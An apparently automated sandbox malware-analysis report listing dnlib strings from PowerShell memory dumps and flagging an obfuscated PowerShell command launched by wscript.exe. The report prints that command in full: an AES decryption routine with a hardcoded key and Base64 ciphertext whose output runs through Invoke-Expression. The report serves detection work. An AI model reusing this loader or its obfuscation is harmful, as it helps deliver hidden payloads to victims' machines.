Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\CurrentVersion");IHost.StdIn();IHost.StdErr();IHost.StdOut();IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\CurrentVersion");IHost.FullName();IWshShell3.Run("powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([Str", "0", "false")

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = 